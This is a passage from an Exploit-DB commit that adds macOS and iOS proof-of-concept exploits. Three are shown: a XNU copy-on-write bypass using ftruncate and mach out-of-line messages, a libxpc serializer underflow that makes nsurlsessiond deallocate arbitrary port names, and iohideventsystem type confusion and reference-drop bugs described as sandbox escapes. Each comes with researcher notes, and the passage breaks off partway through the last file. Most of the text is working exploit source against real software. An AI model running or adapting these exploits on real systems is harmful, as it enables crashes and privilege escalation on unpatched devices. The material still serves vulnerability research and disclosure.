DB: 2019-02-01

13 changes to exploits/shellcodes

Anyburn 4.3 - 'Convert image to file format' Denial of Service
Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)
AMAC Address Change 5.4 - Denial of Service (PoC)
ASPRunner Professional 6.0.766 - Denial of Service (PoC)
FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC)
LanHelper 1.74 - Denial of Service (PoC)
macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File
macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to Invalid mach Message Parsing in _xpc_serializer_unpack
macOS < 10.14.3 / iOS < 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem
macOS < 10.14.3 / iOS < 12.1.3 XNU - 'vm_map_copy' Optimization which Requires Atomicity isn't Atomic
macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics

10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass)
10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH) (DEP Bypass)
R 3.5.0 - Local Buffer Overflow (SEH)
UltraISO 9.7.1.3519 - 'Output FileName' Local Buffer Overflow (SEH)
This commit is contained in:
Offensive Security 2019-02-01 05:01:49 +00:00
parent f700c5347d
commit 68794471c9
14 changed files with 2310 additions and 1 deletions

464
exploits/macos/dos/46296.c Normal file
View file

@ -0,0 +1,464 @@
/*
XNU has various interfaces that permit creating copy-on-write copies of data
between processes, including out-of-line message descriptors in mach messages.
It is important that the copied memory is protected against later modifications
by the source process; otherwise, the source process might be able to exploit
double-reads in the destination process.
This copy-on-write behavior works not only with anonymous memory, but also with
file mappings. This means that, if the filesystem mutates the file contents
(e.g. because the ftruncate() syscall was used), the filesystem must inform the
memory management subsystem so that affected pages can be deduplicated.
If this doesn't happen, that's a security bug.
ubc_setsize_ex() roughly has the following logic:
Step 1: If the file grows or stays at the same size, do nothing and return.
Step 2: If the new file size is not divisible by the page size, zero out the end
of the page that is now at the end of the file.
Step 3: If there are pages that were previously part of the file but aren't
anymore, tell the memory management subsystem to invalidate them.
Step 4: Return.
Step 2 is implemented as follows:
===========
/*
* new EOF ends up in the middle of a page
* zero the tail of this page if it's currently
* present in the cache
kret = ubc_create_upl_kernel(vp, lastpg, PAGE_SIZE, &upl, &pl, UPL_SET_LITE, VM_KERN_MEMORY_FILE);
if (kret != KERN_SUCCESS)
panic("ubc_setsize: ubc_create_upl (error = %d)\n", kret);
if (upl_valid_page(pl, 0))
cluster_zero(upl, (uint32_t)lastoff, PAGE_SIZE - (uint32_t)lastoff, NULL);
ubc_upl_abort_range(upl, 0, PAGE_SIZE, UPL_ABORT_FREE_ON_EMPTY);
===========
Call graph:
ubc_create_upl_kernel(uplflags=UPL_SET_LITE)
-> memory_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL)
-> vm_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL)
vm_object_upl_request() can perform COW deduplication, but only if the
UPL_WILL_MODIFY flag is set, which isn't set here.
A simple testcase:
===========
$ cat buggycow2.c
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <unistd.h>
int main(void) {
setbuf(stdout, NULL);
int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0600);
if (fd == -1) err(1, "open");
if (ftruncate(fd, 0x4000)) err(1, "ftruncate 1");
char *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED) err(1, "mmap");
*(unsigned int *)(mapping + 0x3000) = 0x41414141;
pointer_t cow_mapping;
mach_msg_type_number_t cow_mapping_size;
if (vm_read(mach_task_self(), (vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read");
if (cow_mapping_size != 0x4000) errx(1, "vm read size");
printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000));
if (ftruncate(fd, 0x3001)) err(1, "ftruncate 2");
printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000));
}
$ cc -o buggycow2 buggycow2.c
$ ./buggycow2
orig: 0x41414141 cow: 0x41414141
orig: 0x41 cow: 0x41
$
===========
To demonstrate that this also works with out-of-line memory sent over mach
ports, I am attaching a more complicated PoC that was mostly written by Ian.
It sends an out-of-line descriptor over a mach port, then changes the memory
seen by the recipient.
Usage:
===========
$ cc -o mach_truncate_poc mach_truncate_poc.c
$ ./mach_truncate_poc
[+] child got stashed port
[+] child sent hello message to parent over shared port
[+] parent received hello message from child
[+] child restored stolen port
[+] file created
[+] child sent message to parent
[+] parent got an OOL descriptor for 4000 bytes, mapped COW at: 0x10c213000
[+] parent reads: 41414141
[+] telling child to try to change what I see!
[+] child received ping to start trying to change the OOL memory!
[+] child called ftruncate()
[+] parent got ping message from child, lets try to read again...
[+] parent reads: 00000041
$
===========
The simple testcase was tested on 10.14.1 18B75.
*/
#define RAM_GB 16ULL
#define SIZE ((RAM_GB+4ULL) * 1024ULL * 1024ULL * 1024ULL)
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
#include <mach/task_special_ports.h>
#define MACH_ERR(str, err) do { \
if (err != KERN_SUCCESS) { \
mach_error("[-]" str "\n", err); \
exit(EXIT_FAILURE); \
} \
} while(0)
#define FAIL(str) do { \
printf("[-] " str "\n"); \
exit(EXIT_FAILURE); \
} while (0)
#define LOG(str) do { \
printf("[+] " str"\n"); \
} while (0)
/***************
* port dancer *
***************/
// set up a shared mach port pair from a child process back to its parent without using launchd
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html
// mach message for sending a port right
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
} port_msg_send_t;
// mach message for receiving a port right
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
mach_msg_trailer_t trailer;
} port_msg_rcv_t;
typedef struct {
mach_msg_header_t header;
} simple_msg_send_t;
typedef struct {
mach_msg_header_t header;
mach_msg_trailer_t trailer;
} simple_msg_rcv_t;
#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT
// a copy in the parent of the stolen special port such that it can be restored
mach_port_t saved_special_port = MACH_PORT_NULL;
// the shared port right in the parent
mach_port_t shared_port_parent = MACH_PORT_NULL;
void setup_shared_port() {
kern_return_t err;
// get a send right to the port we're going to overwrite so that we can both
// restore it for ourselves and send it to our child
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);
MACH_ERR("saving original special port value", err);
// allocate the shared port we want our child to have a send right to
err = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&shared_port_parent);
MACH_ERR("allocating shared port", err);
// insert the send right
err = mach_port_insert_right(mach_task_self(),
shared_port_parent,
shared_port_parent,
MACH_MSG_TYPE_MAKE_SEND);
MACH_ERR("inserting MAKE_SEND into shared port", err);
// stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);
MACH_ERR("setting special port", err);
}
mach_port_t recover_shared_port_child() {
kern_return_t err;
// grab the shared port which our parent stashed somewhere in the special ports
mach_port_t shared_port_child = MACH_PORT_NULL;
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);
MACH_ERR("child getting stashed port", err);
LOG("child got stashed port");
// say hello to our parent and send a reply port so it can send us back the special port to restore
// allocate a reply port
mach_port_t reply_port;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
MACH_ERR("child allocating reply port", err);
// send the reply port in a hello message
simple_msg_send_t msg = {0};
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_local_port = reply_port;
msg.header.msgh_remote_port = shared_port_child;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
err = mach_msg_send(&msg.header);
MACH_ERR("child sending task port message", err);
LOG("child sent hello message to parent over shared port");
// wait for a message on the reply port containing the stolen port to restore
port_msg_rcv_t stolen_port_msg = {0};
err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
MACH_ERR("child receiving stolen port\n", err);
// extract the port right from the message
mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;
if (stolen_port_to_restore == MACH_PORT_NULL) {
FAIL("child received invalid stolen port to restore");
}
// restore the special port for the child
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);
MACH_ERR("child restoring special port", err);
LOG("child restored stolen port");
return shared_port_child;
}
mach_port_t recover_shared_port_parent() {
kern_return_t err;
// restore the special port for ourselves
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);
MACH_ERR("parent restoring special port", err);
// wait for a message from the child on the shared port
simple_msg_rcv_t msg = {0};
err = mach_msg(&msg.header,
MACH_RCV_MSG,
0,
sizeof(msg),
shared_port_parent,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
MACH_ERR("parent receiving child hello message", err);
LOG("parent received hello message from child");
// send the special port to our child over the hello message's reply port
port_msg_send_t special_port_msg = {0};
special_port_msg.header.msgh_size = sizeof(special_port_msg);
special_port_msg.header.msgh_local_port = MACH_PORT_NULL;
special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;
special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;
special_port_msg.body.msgh_descriptor_count = 1;
special_port_msg.port.name = saved_special_port;
special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg_send(&special_port_msg.header);
MACH_ERR("parent sending special port back to child", err);
return shared_port_parent;
}
/*** end of port dancer code ***/
struct ool_send_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
};
struct ool_rcv_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
mach_msg_trailer_t trailer;
};
struct ping_send_msg {
mach_msg_header_t hdr;
};
struct ping_rcv_msg {
mach_msg_header_t hdr;
mach_msg_trailer_t trailer;
};
void do_child(mach_port_t shared_port) {
kern_return_t err;
// create a reply port to receive an ack that we should truncate the file
mach_port_t reply_port;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
MACH_ERR("child allocating reply port", err);
// create a file that is a few pages big
int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0666);
if (fd == -1) FAIL("create testfile");
if (ftruncate(fd, 0x4000)) FAIL("resize testfile");
LOG("file created");
void* mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED) FAIL("mmap created file");
*(unsigned int *)mapping = 0x41414141;
struct ool_send_msg msg = {0};
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_local_port = reply_port;
msg.hdr.msgh_remote_port = shared_port;
msg.hdr.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND) | MACH_MSGH_BITS_COMPLEX;
msg.body.msgh_descriptor_count = 1;
msg.desc.type = MACH_MSG_OOL_DESCRIPTOR;
msg.desc.copy = MACH_MSG_VIRTUAL_COPY;
msg.desc.deallocate = 0;
msg.desc.address = mapping;
msg.desc.size = 0x4000;
err = mach_msg_send(&msg.hdr);
MACH_ERR("child sending OOL message", err);
LOG("child sent message to parent");
// wait for an ack to change the file:
struct ping_rcv_msg ping_rcv = {0};
ping_rcv.hdr.msgh_size = sizeof(ping_rcv);
ping_rcv.hdr.msgh_local_port = reply_port;
err = mach_msg_receive(&ping_rcv.hdr);
MACH_ERR("child receiving ping to change OOL memory", err);
LOG("child received ping to start trying to change the OOL memory!");
// trigger the bug by calling ftruncate()
if (ftruncate(fd, 1)) FAIL("truncate file to trigger bug");
LOG("child called ftruncate()");
// send a message to read again:
struct ping_send_msg ping = {0};
ping.hdr.msgh_size = sizeof(ping);
ping.hdr.msgh_remote_port = shared_port;
ping.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
err = mach_msg_send(&ping.hdr);
MACH_ERR("parent sending ping to child", err);
// spin and let our parent kill us
while(1){;}
}
void do_parent(mach_port_t shared_port) {
kern_return_t err;
// wait for our child to send us an OOL message
struct ool_rcv_msg msg = {0};
msg.hdr.msgh_local_port = shared_port;
msg.hdr.msgh_size = sizeof(msg);
err = mach_msg_receive(&msg.hdr);
MACH_ERR("parent receiving child OOL message", err);
volatile uint32_t* parent_cow_mapping = msg.desc.address;
uint32_t parent_cow_size = msg.desc.size;
printf("[+] parent got an OOL descriptor for %x bytes, mapped COW at: %p\n", parent_cow_size, (void*) parent_cow_mapping);
printf("[+] parent reads: %08x\n", *parent_cow_mapping);
LOG("telling child to try to change what I see!");
mach_port_t parent_to_child_port = msg.hdr.msgh_remote_port;
struct ping_send_msg ping = {0};
ping.hdr.msgh_size = sizeof(ping);
ping.hdr.msgh_remote_port = parent_to_child_port;
ping.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
err = mach_msg_send(&ping.hdr);
MACH_ERR("parent sending ping to child", err);
// wait until we should try to read again:
struct ping_rcv_msg ping_rcv = {0};
ping_rcv.hdr.msgh_size = sizeof(ping_rcv);
ping_rcv.hdr.msgh_local_port = shared_port;
err = mach_msg_receive(&ping_rcv.hdr);
MACH_ERR("parent receiving ping to try another read", err);
LOG("parent got ping message from child, lets try to read again...");
printf("[+] parent reads: %08x\n", *parent_cow_mapping);
}
int main(int argc, char** argv) {
setup_shared_port();
pid_t child_pid = fork();
if (child_pid == -1) {
FAIL("forking");
}
if (child_pid == 0) {
mach_port_t shared_port_child = recover_shared_port_child();
do_child(shared_port_child);
} else {
mach_port_t shared_port_parent = recover_shared_port_parent();
do_parent(shared_port_parent);
}
kill(child_pid, 9);
int status;
wait(&status);
return 0;
}

View file

@ -0,0 +1,287 @@
/*
_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.
There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
they're also transfered as MACH_PORT_OOL_PORT descriptors.
Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.
Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.
This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.
It turns out that libxpc does exactly that in _xpc_serializer_unpack:
__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message
__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set
...
__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67j
__text:000000000000703F mov rax, rbx
__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0
__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor
__text:0000000000007049 mov ecx, 0FF000000h
__text:000000000000704E and ecx, [rax+24h]
__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?
__text:0000000000007057 jnz short loc_7089
__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit
__text:0000000000007062 mov r9, [rbx] ; save the address field
__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later
__text:0000000000007069 lea rax, __xpc_serializer_munmap
__text:0000000000007070 mov [r12+48h], rax
__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff
__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message
__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc
__text:0000000000007082 mov eax, 2Ch ; ','
__text:0000000000007087 jmp short loc_7094
__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0
__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)
The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.
By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().
You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
for the port name 0x414141 to be passed in rsi.
There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.
Still, it would be a nice sandbox escape on MacOS.
Tested on MacOS 10.14.1 (18B75)
*/
// ianbeer
#if 0
Arbitrary mach port name deallocation in XPC services due to invalid mach message parsing in _xpc_serializer_unpack
_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.
There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
they're also transfered as MACH_PORT_OOL_PORT descriptors.
Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.
Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.
This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.
It turns out that libxpc does exactly that in _xpc_serializer_unpack:
__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message
__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set
...
__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67j
__text:000000000000703F mov rax, rbx
__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0
__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor
__text:0000000000007049 mov ecx, 0FF000000h
__text:000000000000704E and ecx, [rax+24h]
__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?
__text:0000000000007057 jnz short loc_7089
__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit
__text:0000000000007062 mov r9, [rbx] ; save the address field
__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later
__text:0000000000007069 lea rax, __xpc_serializer_munmap
__text:0000000000007070 mov [r12+48h], rax
__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff
__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message
__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc
__text:0000000000007082 mov eax, 2Ch ; ','
__text:0000000000007087 jmp short loc_7094
__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0
__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)
The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.
By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().
You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
for the port name 0x414141 to be passed in rsi.
There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.
Still, it would be a nice sandbox escape on MacOS.
Tested on MacOS 10.14.1 (18B75)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
static int
xpc_checkin(
mach_port_t service_port,
mach_port_t* client_port,
mach_port_t* reply_port)
{
// allocate the client and reply port:
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, client_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), *client_port, *client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("port right insertion failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, reply_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = *client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = *reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("w00t message send failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
} else {
printf("sent xpc w00t message\n");
}
return 1;
}
struct xpc_bad_ool {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool0;
mach_msg_port_descriptor_t port1;
mach_msg_ool_descriptor_t ool2;
};
void bad_xpc(mach_port_t p) {
kern_return_t err;
struct xpc_bad_ool msg = {0};
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = p;
msg.hdr.msgh_id = 0x10000000;
msg.body.msgh_descriptor_count = 0;
msg.ool0.address = 0x414141414141;
msg.ool0.size = 0x4000;
msg.ool0.type = MACH_MSG_OOL_DESCRIPTOR;
msg.port1.name = 0x41414141; // port name to mach_port_deallocate in target
msg.port1.disposition = 0x11;
msg.port1.type = MACH_MSG_PORT_DESCRIPTOR;
msg.ool2.address = 0x414141414141;
msg.ool2.size = 0x4000;
msg.ool2.type = MACH_MSG_OOL_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("xpc message send failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
} else {
printf("sent xpc message\n");
}
}
// lookup a launchd service:
static mach_port_t
lookup(
char* name)
{
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", name);
return MACH_PORT_NULL;
}
if (service_port == MACH_PORT_NULL) {
printf("bad service port\n");
return MACH_PORT_NULL;
}
return service_port;
}
void
xpc_connect(
char* service_name,
mach_port_t* xpc_client_port,
mach_port_t* xpc_reply_port)
{
mach_port_t service_port = lookup(service_name);
xpc_checkin(service_port, xpc_client_port, xpc_reply_port);
mach_port_destroy(mach_task_self(), service_port);
}
int main() {
mach_port_t service_port = lookup("com.apple.nsurlsessiond");
mach_port_t xpc_client_port = MACH_PORT_NULL;
mach_port_t xpc_reply_port = MACH_PORT_NULL;
xpc_checkin(service_port, &xpc_client_port, &xpc_reply_port);
printf("xpc_client_port: %x\n", xpc_client_port);
printf("checked in?\n");
bad_xpc(xpc_client_port);
return 0;
}

View file

@ -0,0 +1,162 @@
/*
It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding
this service.
com.apple.iohideventsystem is hosted in hidd on MacOS and backboardd on iOS. You can talk to it from the app
sandbox on iOS.
It uses an IOMIGMachPortCache to translate between ports on which messages were received and CF objects
on which actions should be performed. There is insufficient checking that the types are correct; so far as
I can tell all the io_hideventsystem_* methods apart from io_hideventsystem_open expect to be called on
a "connection" port, but that's not enforced. Specifically, the service port is put in the cache mapped to
an IOHIDEventServer object, and each connection is put in mapped to IOHIDEventSystemConnection objects. Note that
the service IOMIG port can demux the whole hideventsystem service (all the methods.) This seems to lead to a lot
of type confusion issues (eg places where the code is trying to read a bitmap of entitlements possessed by the connection
but is in fact reading out of bounds.)
There's also what looks like a regular memory safety issue in
_io_hideventsystem_unregister_record_service_changed_notification.
This converts the port its called on to an object via IOMIGMachPortCacheCopy then passes that to
_IOHIDEventSystemConnectionUnregisterRecordServiceChanged.
This reads an object pointer from +0x10, which for both an IOHIDEventServer and IOHIDEventSystemConnection is an IOHIDEventSystem,
passes that to _IOHIDEventSystemUnregisterRecordServiceChanged and then calls CFRelease on it.
The problem is that this CFRelease call isn't balanced by a CFRetain, so each call to this just lets us arbitrarily drop references
on that object...
The PoC for this issue is trivial, just connect to the service and call io_hideventsystem_unregister_record_service_changed_notification twice.
You should enable guard malloc for the service to more easily see what's going on.
Tested on MacOS 10.14.1 (18B75)
// ianbeer
// build: clang -o hidcrasher hidcrasher.c -framework IOKit
// repro: enable guard malloc for hidd: sudo launchctl debug system/com.apple.hidd --guard-malloc
// then either manually kill hidd or run the PoC twice so that the second time you can more clearly observe the UaF
#if 0
iOS/MacOS Sandbox escapes due to type confusions and memory safety issues in iohideventsystem
It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding
this service.
com.apple.iohideventsystem is hosted in hidd on MacOS and backboardd on iOS. You can talk to it from the app
sandbox on iOS.
It uses an IOMIGMachPortCache to translate between ports on which messages were received and CF objects
on which actions should be performed. There is insufficient checking that the types are correct; so far as
I can tell all the io_hideventsystem_* methods apart from io_hideventsystem_open expect to be called on
a "connection" port, but that's not enforced. Specifically, the service port is put in the cache mapped to
an IOHIDEventServer object, and each connection is put in mapped to IOHIDEventSystemConnection objects. Note that
the service IOMIG port can demux the whole hideventsystem service (all the methods.) This seems to lead to a lot
of type confusion issues (eg places where the code is trying to read a bitmap of entitlements possessed by the connection
but is in fact reading out of bounds.)
There's also what looks like a regular memory safety issue in
_io_hideventsystem_unregister_record_service_changed_notification.
This converts the port its called on to an object via IOMIGMachPortCacheCopy then passes that to
_IOHIDEventSystemConnectionUnregisterRecordServiceChanged.
This reads an object pointer from +0x10, which for both an IOHIDEventServer and IOHIDEventSystemConnection is an IOHIDEventSystem,
passes that to _IOHIDEventSystemUnregisterRecordServiceChanged and then calls CFRelease on it.
The problem is that this CFRelease call isn't balanced by a CFRetain, so each call to this just lets us arbitrarily drop references
on that object...
The PoC for this issue is trivial, just connect to the service and call io_hideventsystem_unregister_record_service_changed_notification twice.
You should enable guard malloc for the service to more easily see what's going on.
Tested on MacOS 10.14.1 (18B75)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <servers/bootstrap.h>
kern_return_t io_hideventsystem_unregister_record_service_changed_notification(
mach_port_t service_connection);
int main(int argc, char** argv) {
kern_return_t err;
// connect to the com.apple.iohideventsystem service
mach_port_t service_port = MACH_PORT_NULL;
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
printf("failed to lookup service\n");
exit(EXIT_FAILURE);
}
printf("got service port: 0x%x\n", service_port);
for (int i = 0; i < 10; i++) {
io_hideventsystem_unregister_record_service_changed_notification(service_port);
}
return 0;
}
*/
/ ianbeer
// build: clang -o hid_typeconfusion hid_typeconfusion.c -framework IOKit -framework CoreFoundation
// repro: enable guard malloc for hidd: sudo launchctl debug system/com.apple.hidd --guard-malloc
// then kill hidd so it restarts with guard malloc enabled
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <servers/bootstrap.h>
#include <CoreFoundation/CoreFoundation.h>
kern_return_t io_hideventsystem_create_virtual_service(
mach_port_t connection,
void* desc,
uint32_t desc_len,
uint64_t* id_out);
extern uint32_t _IOHIDSerialize(CFTypeRef obj, mach_vm_address_t* out);
int main(int argc, char** argv) {
